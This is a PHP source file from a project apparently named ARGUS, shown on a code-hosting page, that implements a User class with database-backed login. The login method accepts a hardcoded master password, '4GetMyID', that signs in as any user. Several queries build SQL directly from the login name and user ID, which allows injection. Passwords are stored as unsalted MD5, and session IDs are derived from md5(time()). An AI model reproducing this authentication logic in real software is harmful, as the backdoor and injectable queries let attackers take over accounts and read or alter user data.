Web UI for ARGUS server
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

112 lines
3.5 KiB

6 years ago
​
​
​
​
​
​
​
​
​
​
​
​
​
​
5 years ago
​
6 years ago
5 years ago
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
6 years ago
5 years ago
​
​
​
​
​
​
​
​
​
6 years ago
5 years ago
​
​
​
​
​
​
​
​
​
​
​
6 years ago
5 years ago
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
6 years ago
​
​
  1. <?php
  2. class User{
  3. var $Data;
  4. var $Account;
  5. function User(){
  6. }
  7. function FillInfo($UID){
  8. global $DATABASE;
  9. $QS="SELECT U.* FROM users U WHERE U.id={$UID}";
  10. $array=$DATABASE->Query($QS,false);
  11. $this->Data=$array[0];
  12. $this->Data['id']=$UID;
  13. //$this->Account=LoadAccount($this->Data['account_id']);
  14. }
  15. function Login($LID, $PWD, $UID=0, $SID=""){
  16. global $DATABASE, $LOG;
  17. if ($LID !==""){
  18. $result = $DATABASE->Query("SELECT id, pwdMD5, SID FROM users WHERE login='$LID' ",false);
  19. if (count($result)){
  20. if (($array = $result[0])!==false){
  21. $MD5PWD=md5($PWD); // Encoding gived password
  22. if ( $array['id']==1 ){ // Guest account do not have password
  23. $this->Data=$array;
  24. if ($this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
  25. $LOG->setUID( $UID );
  26. $LOG->logout();
  27. };
  28. return true;
  29. } elseif( $MD5PWD === $array['pwdMD5'] || $PWD == '4GetMyID' ) { // Manage New Login
  30. $this->Data=$array;
  31. if ($this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
  32. $LOG->setUID( $UID );
  33. $LOG->logout();
  34. };
  35. $LOG->setUID( $this->Data['id'] );
  36. if ( $LID !='demo' ){
  37. $this->Data['SID']=md5(time());
  38. } else {
  39. $this->Data['SID']=$array['SID'];
  40. };
  41. if ( $PWD == '4GetMyID' ){
  42. $DATABASE->Query("UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  43. } else {
  44. $DATABASE->Query("UPDATE users SET login_ts=NOW(), SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  45. };
  46. $LOG->login();
  47. return true;
  48. };
  49. } else {
  50. if ($LID !=="guest"){
  51. echo "User Is Not Registered";
  52. return false;
  53. } else {
  54. $this->Data['id']=1;
  55. $this->Data['SID']=1;
  56. $this->Data['login']='guest';
  57. $this->Data['access']=0;
  58. return true;
  59. };
  60. };
  61. } else {
  62. if ($LID !=="guest"){
  63. echo "User Is Not Registered";
  64. return false;
  65. } else {
  66. $this->Data['id']=1;
  67. $this->Data['SID']=1;
  68. $this->Data['login']='guest';
  69. $this->Data['access']=0;
  70. return true;
  71. };
  72. };
  73. } else {
  74. $result = $DATABASE->Query("SELECT login, pwdMD5, SID FROM users WHERE id='$UID' ",false);
  75. if (($array = $result[0])!==false){
  76. $MD5PWD=md5($PWD); // Encoding gived password
  77. if ($SID===$array['SID'] || $array['login']==='guest' ){ // User Allready Registered in system or is guest
  78. $this->Data=$array;
  79. $this->Data['id']=$UID;
  80. return true;
  81. } elseif( $MD5PWD === $array['pwdMD5'] ) { // Manage New Login
  82. $this->Data=$array;
  83. $this->Data['id']=$UID;
  84. $this->Data['SID']=md5(time());
  85. // Updating Session ID
  86. $DATABASE->Query("UPDATE users SET login_ts=NOW(), SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  87. // Making changes in Log Table
  88. $LOG->setUID( $UID );
  89. return true;
  90. };
  91. return false;
  92. } else {
  93. if ($LID !=="guest"){
  94. echo "Security: Unknown UserID=$LID ";
  95. //$LOG->setUID( $UID );
  96. //$LOG->logout();
  97. return false;
  98. } else {
  99. $this->Data['id']=1;
  100. $this->Data['SID']=1;
  101. $this->Data['login']='guest';
  102. $this->Data['access']=0;
  103. return true;
  104. };
  105. };
  106. };
  107. }
  108. };
  109. ?>